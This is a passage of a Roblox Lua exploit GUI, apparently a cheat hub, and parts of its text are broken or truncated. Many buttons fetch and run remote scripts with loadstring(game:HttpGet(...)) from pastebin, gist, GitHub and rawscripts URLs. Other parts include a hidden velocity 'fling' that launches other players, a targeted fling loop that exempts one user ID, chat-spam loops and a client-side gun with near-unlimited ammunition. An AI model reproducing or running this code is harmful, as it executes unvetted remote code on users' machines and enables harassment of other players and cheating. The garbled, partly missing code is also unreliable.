                                                                    end
                                                              end
                                                         end
                                                   end)
                                                   local Whistle = SFX(475073913)
                                                   Whistle:Play()
                                             end
                                     end
                                end
                          end
                          wait()
                          Debounce = false
                    end
             end)
             -----------------------------------------------------------------------
----------
            if
game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
                   hiddenfling = true
            else
                  hiddenfling = true
                  detection = Instance.new("Decal")
                  detection.Name = "juisdfj0i32i0eidsuf0iok"
                  detection.Parent = game:GetService("ReplicatedStorage")
                  local function fling()
                        local hrp, c, vel, movel = nil, nil, nil, 0.1
                        while true do
                              game:GetService("RunService").Heartbeat:Wait()
                              if hiddenfling then
                                    local lp = game.Players.LocalPlayer
                                    while hiddenfling and not (c and c.Parent and
hrp and hrp.Parent) do
      game:GetService("RunService").Heartbeat:Wait()
                                          c = lp.Character
                                          hrp =
c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or
c:FindFirstChild("UpperTorso")
                                    end
                                    if hiddenfling then
                                          vel = hrp.Velocity
                                          hrp.Velocity = vel * 10000 +
Vector3.new(0, 10000, 0)
       game:GetService("RunService").RenderStepped:Wait()
                                          if c and c.Parent and hrp and hrp.Parent
then
                                                  hrp.Velocity = vel
                                            end
       game:GetService("RunService").Stepped:Wait()
                                          if c and c.Parent and hrp and hrp.Parent
then
                                                  hrp.Velocity = vel + Vector3.new(0,
movel, 0)
                                                  movel = movel * -1
                                            end
                                      end
                               end
                         end
                   end
                   fling()
            end
      end)
end
coroutine.wrap(OEFDAQK_fake_script)()
local function WSOLZXR_fake_script() -- button_3.LocalScript
      local script = Instance.new('LocalScript', button_3)
       button.MouseButton1Down:connect(function()
             loadstring(game:HttpGet("https://pastebin.com/raw/KdVq9EHW",true))()
       end)
end
coroutine.wrap(WSOLZXR_fake_script)()
local function KORGM_fake_script() -- button_4.LocalScript
      local script = Instance.new('LocalScript', button_4)
     button.MouseButton1Down:connect(function()
           -- Lyrics
           local lyrics = {
           -- Chat function
           local function singLyrics()
                 for _, lyric in ipairs(lyrics) do
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(lyric, "All")
                        wait(2.5) -- Adjust the delay as desired
                  end
            end
           -- Start singing
           singLyrics()
      end)
end
coroutine.wrap(KORGM_fake_script)()
local function ZTWGZ_fake_script() -- button_5.LocalScript
      local script = Instance.new('LocalScript', button_5)
      button.MouseButton1Down:connect(function()
            loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-
Nameless-Admin-FE-11243"))();
      end)
end
coroutine.wrap(ZTWGZ_fake_script)()
local function PKXRUA_fake_script() -- button_6.LocalScript
      local script = Instance.new('LocalScript', button_6)
      button.MouseButton1Down:connect(function()
            loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/
spamer/main/spamererm'))()
      end)
end
coroutine.wrap(EKIXV_fake_script)()
local function TBTPQ_fake_script() -- button_8.LocalScript
      local script = Instance.new('LocalScript', button_8)
     button.MouseButton1Down:connect(function()
           loadstring(game:HttpGet('https://rawscripts.net/raw/OpFinality_590'))()
     end)
end
coroutine.wrap(TBTPQ_fake_script)()
local function XHAG_fake_script() -- button_9.LocalScript
      local script = Instance.new('LocalScript', button_9)
button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
5d8a45ea83d64db757182c7fae4caeae/raw/27d5fe5866fc61208fead93a7caeeb854f1c1be4/
Illuminati%2520Laser%2520Fling",true))()
      end)
end
coroutine.wrap(XHAG_fake_script)()
local function DXFTXQ_fake_script() -- button_10.LocalScript
      local script = Instance.new('LocalScript', button_10)
button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/
FE/main/ScriptHub"))()
      end)
end
coroutine.wrap(DXFTXQ_fake_script)()
local function FJHJF_fake_script() -- button_11.LocalScript
      local script = Instance.new('LocalScript', button_11)
     button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
c1c6ad86b743343aca463a0963c028a5/raw/cb40c5b77119cb52b60428dc3e112a4b479fc258/
qipu's%2520Executor%2520(fixed)"))()
      end)
end
coroutine.wrap(FJHJF_fake_script)()
local function RTGO_fake_script() -- button_12.LocalScript
      local script = Instance.new('LocalScript', button_12)
button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
7c4d164bd1a2726d5e352547c3f98052/raw/77332837d2d6669f50b191a5ecc90da7f6e6690e/
Energize"))()
      end)
end
coroutine.wrap(RTGO_fake_script)()
local function WXHMD_fake_script() -- button_13.LocalScript
      local script = Instance.new('LocalScript', button_13)
     button.MouseButton1Down:connect(function()
           wait(0.001);
            -----------------------------------------------------------------------
---------------
           _clear=function()
                 local c={char;bag;gui;};
                 for i=1,#c do
                       local c=c[i]:children();
                       for i=1,#c do
                             if(c[i].Name==name)then
                                   c[i].Parent=nil;
                             end;
                       end;
                 end;
                 local n=name..user.Name;
                 local c=workspace:children();
                 for i=1,#c do
                       if(c[i].Name==n)then
                             c[i].Parent=nil;
                       end;
                 end;
           end;
           _valid_key=function(object,key)
                 return object[key],key;
           end;
           _new=function(class)
                 return function(props)
                       if(type(list_base_props)=='table')then
                             for i,v in next,list_base_props do
                                   if(props[i]==nil)then
                                         props[i]=v;
                                       end;
                                end;
                         end;
local object=class;
if(type(class)=='string')then
     object=Instance.new(class:sub(1,1):upper()..class:sub(2));
                       end;
                         local parent=props[1];
                         props[1]=nil;
                                if(key)then
                                      t=type(res);
                                      s=tostring(res);
                                      if(t=='userdata'and s=='Signal '..key)then
                                            if(type(v)=='table')then
                                                  for i=1,#v do
                                                        res:connect(v[i]);
                                                  end;
                                            else
                                                  res:connect(v);
                                            end;
                                      else
                                            object[key]=v;
                                      end;
                                end;
                         end;
                         if(parent)then
                               object.Parent=parent;
                         end;
                         return object;
                  end;
           end;
           _RGB=function(r,g,b)
                 return Color3.new(r/255,g/255,b/255);
           end;
           _copy=function(o)
                 local def=o.archivable;
                 o.archivable=true;
                 local c=o:clone();
                 o.archivable=def;
                 return c;
           end;
           _hum=function(char)
                  local hum=char:findFirstChild'Humanoid';
                  if(not hum or hum.className~='Humanoid')then
                        local c=char:children();
                        for i=1,#c do
                              if(c[i].className=='Humanoid')then
                                    return c[i];
                              end;
                        end;
                  else
                        return hum;
                  end;
           end;
            _hum_tag=function(hum)
                  local c=hum:findFirstChild'creator'or
Instance.new('ObjectValue',hum);
                  c.Name='creator';
                  c.Value=user;
                  if(hum.Health==0 and not hum:findFirstChild'killed')then
                        Instance.new('BoolValue',hum).Name='killed';
                        bullets.clip=bullets.clip+10;
                  end;
            end;
           _hum_dam=function(hum,dam,percent)
                 hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or
dam);
                  if(hum.Health<=hum.MaxHealth*0.1)then
                        _hum_tag(hum);
                  end;
           end;
           _ray=function(v0,v1,i)
                 local mag=(v0-v1).magnitude;
                 local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
                  return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList
or workspace.FindPartOnRay)(workspace,ray,i);
            end;
           _must=function(v0,v1,i)
                 local hit,pos=_ray(v0,v1,i);
                 return not hit and mouse.target or hit,pos;
           end;
           _cframe=function(x,y,z,r0,r1,r2)
                 return CFrame.Angles(
                       math.rad(r0 or 0),
                       math.rad(r1 or 0),
                       math.rad(r2 or 0)
                 )*CFrame.new(x,y,z);
           end;
           _update=function()
                 if(bool_active and not screen.Parent)then
                       screen.Parent=gui;
                 elseif(not bool_active and screen.Parent)then
                       screen.Parent=nil;
                 end;
     end;
     _light=function(v0,v1)
           local mag=(v0-v1).magnitude;
           local len=math.random(2,7);
           len=len>mag/2 and mag/2 or len;
            local light=_new'part'{
                  cFrame=CFrame.new(v0,v1);
                  size=Vector3.new(1,1,1);
                  color=_RGB(255,255,0);
                  anchored=true;
                  inv;
            };
            _new'blockMesh'{
                  scale=Vector3.new(0.2,0.2,len);
                  offset=Vector3.new(0,0,-len/2);
                  light;
            };
            local bb=_new'billboardGui'{
                  size=UDim2.new(2,0,2,0);
                  adornee=light;
                  light;
            };
            _new'imageLabel'{
                  image=url:format(109101526);
                  backgroundTransparency=1;
                  size=UDim2.new(1,0,1,0);
                  bb;
            };
            _rem(light,0.15);
     end;
     _rem=function(object,del)
           if(del)then
                 delay(del,function()
                       if(object.Parent)then
                             object.Parent=nil;
                       end;
                 end);
           else
                 pcall(function()
                       if(object.Parent)then
                             object.Parent=nil;
                       end;
                 end);
           end;
     end;
     _blood=function(pos,count)
           for i=1,count do
                 local p=_new'part'{
rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
position=pos+Vector3.new(math.random(),math.random(),math.random());
     velocity=Vector3.new(math.random(),math.random(),math.random())*50;
     size=Vector3.new(math.random(),math.random(),math.random())/3;
                             color=_RGB(255,0,0);
                             transparency=0.5;
                             canCollide=true;
                             bottomSurface=0;
                             topSurface=0;
                             formFactor=3;
                             locked=true;
                             inv;
                       };
                       delay(5,function()
                             p.Parent=nil;
                       end);
                 end;
           end;
           _make_hue=function()
                 h_hue=_new'part'{
                       size=Vector3.new(0.25,1.8,0.35);
                       color=_RGB(100,100,100);
                       formFactor=3;
                       name='hue';
                       handle;
                 };
                 hh_weld=_new'weld'{
                       c1=_cframe(0,0.5,0);
                       part0=handle;
                       part1=h_hue;
                       handle;
                 };
           end;
           _shot=function(v0,v1)
                 if(not time_left)then
                       time_left=0;
                 end;
                 if(time_left>time())then
                       return nil;
                 else
                       time_left=time()+math.random(1,10)/100;
                 end;
                if(bullets.current<1)then
                      local tick_sound=head:findFirstChild'tick_sound'or
_new'sound'{
                            soundId='rbxasset://sounds/SWITCH3.wav';
                            name='tick_sound';
                            volume=0.2;
                            pitch=2;
                            head;
                      };
                      tick_sound:play();
                      if(bullets.clip>0)then
                            time_left=time()+2;
                            h_hue:breakJoints();
                            h_hue.CanCollide=true;
     h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
                             _rem(h_hue,10);
                             delay(1.9,function()
                                   _make_hue();
                                   local got=(bullets.clip>bullets.maximum and
                                         bullets.maximum or
                                         bullets.clip)-bullets.current;
                                      bullets.clip=bullets.clip-got;
                                      bullets.current=bullets.current+got;
                              end);
                        end;
                        return nil;
                 else
                        bullets.current=bullets.current-1;
                        h_weld.C1=_cframe(0,0.75,0,
                              -math.random(1000,1100)/10,180,0);
                        d_weld.C1=_cframe(0,-0.25,0.3);
                        lightstuff.Visible=true;
                        delay(0.1,function()
                              lightstuff.Visible=false;
                        end);
                        _rem(_new'part'{
                              velocity=CFrame.new(drag.Position,
(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
                              cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
                              size=Vector3.new(0.1,0.1,0.4);
                              color=_RGB(200,200,0);
                              material='Slate';
                              canCollide=true;
                              formFactor=3;
                              inv;
                        },5);
                        delay(0.1,function()
                              d_weld.C1=_cframe(0,-0.25,0);
                              if(bool_active)then
                                    h_weld.C1=h_weld_cf_active;
                              end;
                        end)
                  end;
local hit,pos=_must(v0,v1,char);
shot_sound:play();
_light(v0,v1);
                 if(hit.Parent.className=='Hat')then
                       hit:breakJoints();
                       hit.CanCollide=true;
     hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
                  else
                        local hum=_hum(hit.Parent);
                        if(not hum)then
                              if(hit.Anchored==false and hit.Size.magnitude<4)then
                              end;
                       else
_blood(pos,math.random(3,6));
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/
6;
                              if(hit.Name=='Head')then
                                     _blood(pos,math.random(3,6));
                                     delay(0.001,function()
     _new(workspace:FindFirstChild'head_shot'or'sound'){
                                               pitch=math.random(70,100)*0.01;
                                               soundId=url:format(1876552);
                                               name='head_shot';
                                               workspace;
                                         }:play();
                                   end);
                                   _hum_tag(hum);
                                   _rem(_new'part'{
      cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
                                          size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
                                          color=torso.Color;
                                          transparency=0.5;
                                          canCollide=false;
                                          bottomSurface=0;
                                          anchored=true;
                                          formFactor=3;
                                          topSurface=0;
                                          inv;
                                    },30);
                                    hit.Parent=nil;
                                    for b=0,1 do
                                          for a=0,1 do
                                                for i=0,1 do
                                                      _rem(_new'part'{
velocity=CFrame.new(v0,pos).lookVector*20;
cFrame=hit.CFrame*CFrame.new(i,-b,a);
     size=Vector3.new(0.5,0.5,0.5);
                                                              color=_RGB(255,255,255);
                                                              bottomSurface=0;
                                                              canCollide=true;
                                                              transparency=0;
                                                              formFactor=3;
                                                              topSurface=0;
                                                              hum;
                                                            },30);
                                                     end;
                                              end;
                                       end;
                                end;
                         end;
                  end;
           end;
            -----------------------------------------------------------------------
-----------------
           _cf_select=function(mouse)
                 mouse.Icon=url:format(109111387);--108999296
                 bool_active=true;
                         weld.Part1=nil;
                         weld.Part0=nil;
                         weld=_new(torso:findFirstChild'right_arml'or'weld'){
                               name='right_arml';
                               part0=torso;
                               part1=arm;
                               torso;
                         };
                        arml=(arml or 0)+1;
                        local alv=arml;
                        local gyro=torso:findFirstChild'p_gyro'or
Instance.new('BodyGyro',torso);
                        gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
                        gyro.P=30000;
                        gyro.D=1000;
                        gyro.Name='p_gyro';
                        repeat
                              local pos=mouse.hit.p;
                              local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
                              val=-math.pi*0.5;
                              valp=val*-1;
                              p0=torso.CFrame;
                              p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+
(p0*CFrame.Angles(0,val,0)).lookVector;
                              p1=p0+((p0.p-pos).unit*-2);
     p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
                             hitpos=torso.Position;
                             cj=CFrame.new(hitpos);
                             c0=torso.CFrame:inverse()*cj;
                             c1=p2:inverse()*cj;
                             weld.C0=c0;
                             weld.C1=c1;
gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
                               wait(0.001);
                         until arml~=alv;
                         gyro.Parent=nil;
                  end;
           end;
           _cf_deselect=function()
                 bool_active=false;
                 arml=(arml or 0)+1;
                 loop_shot=(loop_shot or 0)+1;
                  h_weld.Part0=torso;
                  h_weld.C1=h_weld_cf_inactive;
                  local weld=torso:findFirstChild'right_arml';
                  if(weld)then
                        weld.Part1=nil;
                        weld.Part0=nil;
                  end;
                  local arm=char:findFirstChild'Right Arm';
                  local weld=torso:findFirstChild'Right Shoulder';
                  if(arm and weld)then
                        weld.Part0=torso;
                        weld.Part1=arm;
                  end;
           end;
           _cf_mouse=function(event,fun)
                 mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
                       if(bool_active)then
                             fun(...);
                       end;
                 end);
           end;
            -----------------------------------------------------------------------
-----------------
           do
                  local main=getfenv(0);
                  local c=game:children();
                  local check=function(v)
                        if(v.className~=''and v.className~='Instance'and
game:service(v.className))then
     main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
                       end;
                 end;
                 for i=1,#c do
                       pcall(check,c[i]);
                 end;
           end;
            -----------------------------------------------------------------------
-----------------
           bullets={
                 maximum=51111111111111111111111111110;
                 current=511111111111111111111111111111110;
                 clip=501111111111111111111111111111111*4;
           };
           list_base_props={
                 backgroundColor3=_RGB(0,0,0);
                 textColor3=_RGB(200,200,200);
                 borderSizePixel=0;
                 color=_RGB(0,0,0);
                 archivable=false;
                 canCollide=false;
                 bottomSurface=0;
                 topSurface=0;
                 formFactor=0;
                 locked=true;
           };
            -----------------------------------------------------------------------
-----------------
           user=players.localPlayer;
           mouse=user:getMouse();
           char=user.Character;
           gui=user.PlayerGui;
           bag=user.Backpack;
           torso=char.Torso;
           head=char.Head;
           hum=_hum(char);
           url='rbxassetid://%d';
           name='dev-uzi';
           h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
                 0,90,-70);
           h_weld_cf_active=_cframe(0,0.75,0,
                 -110,180,0);
            -----------------------------------------------------------------------
-----------------
_clear();
            -----------------------------------------------------------------------
-----------------
           _cf_mouse('button1Down',function()
                 loop_shot=(loop_shot or 0)+1;
                 local vers=loop_shot;
                 local step=runService.Stepped;
                 repeat
     _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
                       step:wait();--wait(0.001);
                 until vers~=loop_shot;
           end);
           _cf_mouse('button1Up',function()
                 loop_shot=(loop_shot or 0)+1;
           end);
           _cf_mouse('move',function()
                 cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
           end);
           _cf_mouse('keyDown',function(k)
                 if(k=='r')then
                       if(bullets.clip>0 and time_left<=time())then
                             local got=(bullets.clip>bullets.maximum and
                                   bullets.maximum or
                                   bullets.clip)-bullets.current;
                                 bullets.clip=bullets.clip-got;
                                 bullets.current=bullets.current+got;
                                 if(got~=0)then
                                       time_left=time()+2;
                                 end;
                          end;
                   end;
           end);
            -----------------------------------------------------------------------
-----------------
           screen=_new'screenGui'{
                 name=name;
           };
           cross_f=_new'frame'{
                 size=UDim2.new(0,21,0,21);
                 backgroundTransparency=1;
                 screen;
           };
           for i=0,1 do
                 _new'frame'{
                       position=UDim2.new(0,13*i,0,11);
                       size=UDim2.new(0,10,0,1);
                       cross_f;
                 };
           end;
           for i=0,1 do
                 _new'frame'{
                       position=UDim2.new(0,11,0,13*i);
                       size=UDim2.new(0,1,0,10);
                       cross_f;
                 };
           end;
            -----------------------------------------------------------------------
-----------------
           shot_sound=_new(head:findFirstChild'2920959'or'sound'){
     soundId=url:format(2920959);
     pitch=1.4;
     head;
};
if(shot_sound.Name~='2920959')then
      shot_sound.Name='2920959';
      shot_sound:play();
end;
bin=_new'hopperBin'{
      deselected=_cf_deselect;
      selected=_cf_select;
      name=name;
      bag;
};
inv=_new'model'{
      name=name;
      char;
};
handle=_new'part'{
      size=Vector3.new(0.3,1.3,0.4);
      color=_RGB(140,140,140);
      name='handle';
      formFactor=3;
      inv;
      touched=function(hit)
            if(hit.Parent.className=='Model')then
                  local hum=_hum(hit.Parent);
                  if(hum~=nil)then
                        _hum_dam(hum,handle.Velocity.magnitude);
                  end;
            end;
      end;
};
h_weld=_new'weld'{
      c1=h_weld_cf_inactive;
      part1=handle;
      part0=torso;
      handle;
};
_make_hue();
h_part=_new'part'{
      size=Vector3.new(0.4,0.4,1.4);
      color=_RGB(140,140,140);
      name='handle';
      formFactor=3;
      handle;
};
hp_weld=_new'weld'{
      c1=_cframe(0,-1.3/2,-0.3,
            20,0,0);
      part0=handle;
      part1=h_part;
      handle;
};
           drag=_new'part'{
                 size=Vector3.new(0.5,0.45,1.5);
                 color=_RGB(100,100,100);
                 name='handle';
                 formFactor=3;
                 handle;
           };
           d_weld=_new'weld'{
                 c1=_cframe(0,-0.25,0);
                 part0=h_part;
                 part1=drag;
                 handle;
           };
           tube=_new'part'{
                 size=Vector3.new(0.2,0.2,1.5);
                 color=_RGB(0,0,0);
                 name='handle';
                 formFactor=3;
                 handle;
           };
           t_weld=_new'weld'{
                 c1=_cframe(0,-0.3,-0.1);
                 part0=h_part;
                 part1=tube;
                 handle;
           };
           bullets_label=_new'textLabel'{
                 textStrokeColor3=_RGB(0,0,0);
                 textColor3=_RGB(200,200,200);
                 textStrokeTransparency=0;
                 backgroundTransparency=1;
                 fontSize=5;
                 screen;
           };
           lightstuff=_new'frame'{
                 backgroundColor3=_RGB(255,255,255);
                 position=UDim2.new(0,0,0,-1);
                 backgroundTransparency=0.5;
                 size=UDim2.new(1,0,1,1);
                 borderSizePixel=0;
                 visible=false;
                 screen;
           };
            coroutine.wrap(function()
                  local red,white,green;
                  repeat
                        if(screen.Parent)then
                              if(not green and
bullets.current==bullets.maximum)then
                                    green=true;
                                    bullets_label.TextColor3=_RGB(0,200,0);
                              elseif(not red and bullets.current==0)then
                                    red=true;
                                    bullets_label.TextColor3=_RGB(200,0,0);
                              elseif((red or green)and bullets.current~=0 and
bullets.current~=bullets.maximum)then
                                    bullets_label.TextColor3=_RGB(200,200,200);
                                    green=false;
                                    red=false;
                              end;
                              bullets_label.Text=('Bullets:
%d/%d'):format(bullets.current,bullets.clip);
bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBound
s.Y);
                              bullets_label.Position=UDim2.new(1,-
bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
                        end;
                        wait(0.001);
                  until nil;
            end)();
--fling part
            Mouse.Button1Down:Connect(function()
                  local Target = Mouse.Target
                  if Target and Target.Parent and Target.Parent:IsA("Model") and
Players:GetPlayerFromCharacter(Target.Parent) then
                        local PlayerName =
Players:GetPlayerFromCharacter(Target.Parent).Name
                        local player = game.Players.LocalPlayer
                        local Targets = {PlayerName}
                              if TCharacter:FindFirstChildOfClass("Humanoid") then
                                    THumanoid =
TCharacter:FindFirstChildOfClass("Humanoid")
                              end
                              if THumanoid and THumanoid.RootPart then
                                    TRootPart = THumanoid.RootPart
                              end
                              if TCharacter:FindFirstChild("Head") then
                                    THead = TCharacter.Head
                              end
                              if TCharacter:FindFirstChildOfClass("Accessory") then
                                    Accessory =
TCharacter:FindFirstChildOfClass("Accessory")
                              end
                              if Accessoy and Accessory:FindFirstChild("Handle")
then
                                    Handle = Accessory.Handle
                              end
                                         repeat
                                               if RootPart and THumanoid then
                                                     if
BasePart.Velocity.Magnitude < 50 then
                                                           Angle = Angle + 100
                                                           FPos(BasePart,
CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude /
1.25, CFrame.Angles(math.rad(Angle),0 ,0))
                                                           task.wait()
                                                           FPos(BasePart,
CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude /
1.25, CFrame.Angles(math.rad(Angle), 0, 0))
                                                           task.wait()
                                                           FPos(BasePart,
CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection *
BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
                                                           task.wait()
                                                           FPos(BasePart,
CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection *
BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
                                                           task.wait()
                                                           FPos(BasePart,
CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0,
0))
                                                           task.wait()
                                                           FPos(BasePart,
CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0,
0))
                                                           task.wait()
                                                         else
                                                           FPos(BasePart,
CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
                                                           task.wait()
                                                           FPos(BasePart,
CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
                                                           task.wait()
                                                           FPos(BasePart,
CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
                                                           task.wait()
                                                                FPos(BasePart,
CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25),
CFrame.Angles(math.rad(90), 0, 0))
                                                                task.wait()
                                                           FPos(BasePart,
CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
                                                           task.wait()
                                                                FPos(BasePart,
CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25),
CFrame.Angles(math.rad(90), 0, 0))
                                                                task.wait()
                                                                FPos(BasePart,
CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
                                                                task.wait()
                                                                FPos(BasePart,
CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
                                                                task.wait()
                                                                FPos(BasePart,
CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
                                                                task.wait()
                                                                FPos(BasePart,
CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
                                                                task.wait()
                                                         end
                                                  else
                                                     break
                                               end
                                         until BasePart.Velocity.Magnitude > 500
or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or
not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0
or tick() > Time + TimeToWait
                                   end
workspace.FallenPartsDestroyHeight = 0/0
                                   local BV = Instance.new("BodyVelocity")
                                   BV.Name = "EpixVel"
                                   BV.Parent = RootPart
                                   BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
                                   BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
     Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
BV:Destroy()
      Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
                                    workspace.CurrentCamera.CameraSubject =
Humanoid
                                     repeat
                                           RootPart.CFrame = getgenv().OldPos *
CFrame.new(0, .5, 0)
                       getgenv().Welcome = true
                       if Targets[1] then for _,x in next, Targets do GetPlayer(x)
end else return end
                       if AllBool then
                             for _,x in next, Players:GetPlayers() do
                                   SkidFling(x)
                             end
                       end
                        for _,x in next, Targets do
                              if GetPlayer(x) and GetPlayer(x) ~= Player then
                                    if GetPlayer(x).UserId ~= 1414978355 then
                                          local TPlayer = GetPlayer(x)
                                          if TPlayer then
                                                SkidFling(TPlayer)
                                          end
                                    else
                                    end
                              elseif not GetPlayer(x) and not AllBool then
                              end
                        end
                  end
           end)
      end)
end
coroutine.wrap(WXHMD_fake_script)()
local function VAVVNKT_fake_script() -- button_14.LocalScript
      local script = Instance.new('LocalScript', button_14)
button.MouseButton1Down:connect(function()
      end)
end
coroutine.wrap(VAVVNKT_fake_script)()
local function KGMUQA_fake_script() -- button_15.LocalScript
      local script = Instance.new('LocalScript', button_15)
      button.MouseButton1Down:connect(function()
            if
game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui") then
game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove()
            end
            plr = game.Players.LocalPlayer.Name
            y = Instance.new("BillboardGui")
            y.Size = UDim2.new(0,100,0,150)
            y.StudsOffset = Vector3.new(0,1,0)
            y.Parent = game.Players[plr].Character.Head
            y.Adornee = game.Players[plr].Character.Head
            f = Instance.new("TextLabel")
            f.Parent = y
            f.BackgroundTransparency = 1
            f.Position = UDim2.new(0,0,0,-50)
            f.Size = UDim2.new(0,100,0,100)
            f.Font = "Arial"
            f.FontSize = "Size48"
            f.Text =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.bgt.Text
            f.TextStrokeColor3 = Color3.new(0,0,0)
            f.TextColor3 =
Color3.new(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.r.Text/
255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.g.Text/
255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.b.Text/255)
            f.TextStrokeTransparency = 0
            f.TextYAlignment = "Bottom"
      end)
end
coroutine.wrap(KGMUQA_fake_script)()
local function VSJOVQF_fake_script() -- button_16.LocalScript
      local script = Instance.new('LocalScript', button_16)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.Name =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sus.Text
      end)
end
coroutine.wrap(VSJOVQF_fake_script)()
local function AWLKGQB_fake_script() -- button_17.LocalScript
      local script = Instance.new('LocalScript', button_17)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.Character.Humanoid.WalkSpeed =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
      end)
end
coroutine.wrap(AWLKGQB_fake_script)()
local function KDBGDV_fake_script() -- button_18.LocalScript
      local script = Instance.new('LocalScript', button_18)
     button.MouseButton1Down:connect(function()
           local name = game.Players.LocalPlayer.Name
            local p = Instance.new("Part")
            p.Parent = workspace
            p.Locked = true
            p.BrickColor = BrickColor.new("White")
            p.BrickColor = BrickColor.new(104)
            p.Size = Vector3.new(8, 1.2, 8)
            p.Anchored = true
            local m = Instance.new("CylinderMesh")
            m.Scale = Vector3.new(1, 0.5, 1)
            m.Parent = p
            while true do
                  p.CFrame =
CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x,
game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4,
game.Players:findFirstChild(name).Character.Torso.CFrame.z)
                  wait()
            end
      end)
end
coroutine.wrap(KDBGDV_fake_script)()
local function EBZROFQ_fake_script() -- button_19.LocalScript
      local script = Instance.new('LocalScript', button_19)
     local button = script.Parent
      button.MouseButton1Down:connect(function()
            local platform = Instance.new("Part")
            platform.Size = Vector3.new(16, 1, 16)
            platform.Transparency = 0.5
            platform.Color = Color3.fromRGB(255, 0, 255)
            platform.Anchored = true
            platform.Parent = workspace
            local player_position =
game.Players.LocalPlayer.Character.Head.Position
            platform.Position = Vector3.new(player_position.X, player_position.Y-5,
player_position.Z)
      end)
end
coroutine.wrap(EBZROFQ_fake_script)()
local function GECWI_fake_script() -- button_20.LocalScript
      local script = Instance.new('LocalScript', button_20)
     button.MouseButton1Down:connect(function()
           while true do
                  local args = {
                        [1] =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.st.Text,
                        [2] = "All"
                  }
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(unpack(args))
wait(1.5)
            end
     end)
end
coroutine.wrap(GECWI_fake_script)()
